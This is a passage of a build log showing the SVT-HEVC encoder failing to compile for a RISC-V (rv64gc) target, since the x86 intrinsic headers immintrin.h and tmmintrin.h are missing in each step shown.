[8/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbMCP16bit_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbMCP16bit_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbMCP16bit_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbMCP16bit_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbMCP16bit_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbMCP16bit_Intrinsic_AVX2.c
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbMCP16bit_Intrinsic_AVX2.c:6:10: fatal error: immintrin.h: No such file or directory
    6 | #include "immintrin.h"
      |          ^~~~~~~~~~~~~
compilation terminated.
[9/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPictureOperators_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPictureOperators_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPictureOperators_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPictureOperators_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPictureOperators_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbPictureOperators_Intrinsic_AVX2.c
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbPictureOperators_Intrinsic_AVX2.c:7:10: fatal error: immintrin.h: No such file or directory
    7 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[10/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbNoiseExtractAVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbNoiseExtractAVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbNoiseExtractAVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbNoiseExtractAVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbNoiseExtractAVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbNoiseExtractAVX2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbNoiseExtractAVX2.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbNoiseExtractAVX2.h:9:10: fatal error: immintrin.h: No such file or directory
    9 | #include "immintrin.h"
      |          ^~~~~~~~~~~~~
compilation terminated.
[11/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter16bit_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter16bit_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter16bit_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter16bit_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter16bit_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbDeblockingFilter16bit_Intrinsic_SSSE3.c
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbDeblockingFilter16bit_Intrinsic_SSSE3.c:6:10: fatal error: tmmintrin.h: No such file or directory
    6 | #include "tmmintrin.h"
      |          ^~~~~~~~~~~~~
compilation terminated.
[12/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbInvTransform_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbInvTransform_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbInvTransform_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbInvTransform_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbInvTransform_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbInvTransform_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbTransforms_SSE2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbInvTransform_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[13/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbIntraPrediction16bit_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbIntraPrediction16bit_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbIntraPrediction16bit_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbIntraPrediction16bit_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbIntraPrediction16bit_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbIntraPrediction16bit_Intrinsic_SSSE3.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbIntraPrediction16bit_Intrinsic_SSSE3.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[14/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbMcp_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbMcp_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbMcp_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbMcp_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbMcp_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbMcp_Intrinsic_SSSE3.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbMcp_SSSE3.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbMcp_Intrinsic_SSSE3.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[15/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbTransforms_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbTransforms_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbTransforms_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbTransforms_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbTransforms_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbTransforms_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbTransforms_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbTransforms_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[16/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPackUnPack_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPackUnPack_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPackUnPack_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPackUnPack_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPackUnPack_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbPackUnPack_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbPackUnPack_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbPackUnPack_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[17/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeSAD_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeSAD_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeSAD_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeSAD_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeSAD_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbComputeSAD_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbComputeSAD_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbComputeSAD_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[18/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbCombinedAveragingSAD_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbCombinedAveragingSAD_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbCombinedAveragingSAD_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbCombinedAveragingSAD_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbCombinedAveragingSAD_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbCombinedAveragingSAD_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbCombinedAveragingSAD_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[19/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbIntraPrediction_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbIntraPrediction_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbIntraPrediction_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbIntraPrediction_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbIntraPrediction_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbIntraPrediction_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbIntraPrediction_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbIntraPrediction_C.c:10:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[20/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeMean_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeMean_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeMean_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeMean_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbComputeMean_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbComputeMean_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbComputeMean_C.h:12,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbComputeMean_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[21/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbDeblockingFilter_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbDeblockingFilter_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbDeblockingFilter_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbDeblockingFilter_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbDeblockingFilter_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbDeblockingFilter_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbDeblockingFilter_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbDeblockingFilter_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[22/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbComputeMean_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbComputeMean_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbComputeMean_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbComputeMean_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbComputeMean_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbComputeMean_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbComputeMean_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[23/137] Building C object Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecProcess.c.o
FAILED: Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecProcess.c.o 
/usr/bin/cc -DSvtHevcEnc_EXPORTS -I/build/svt-hevc/src/build/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecProcess.c.o -MF 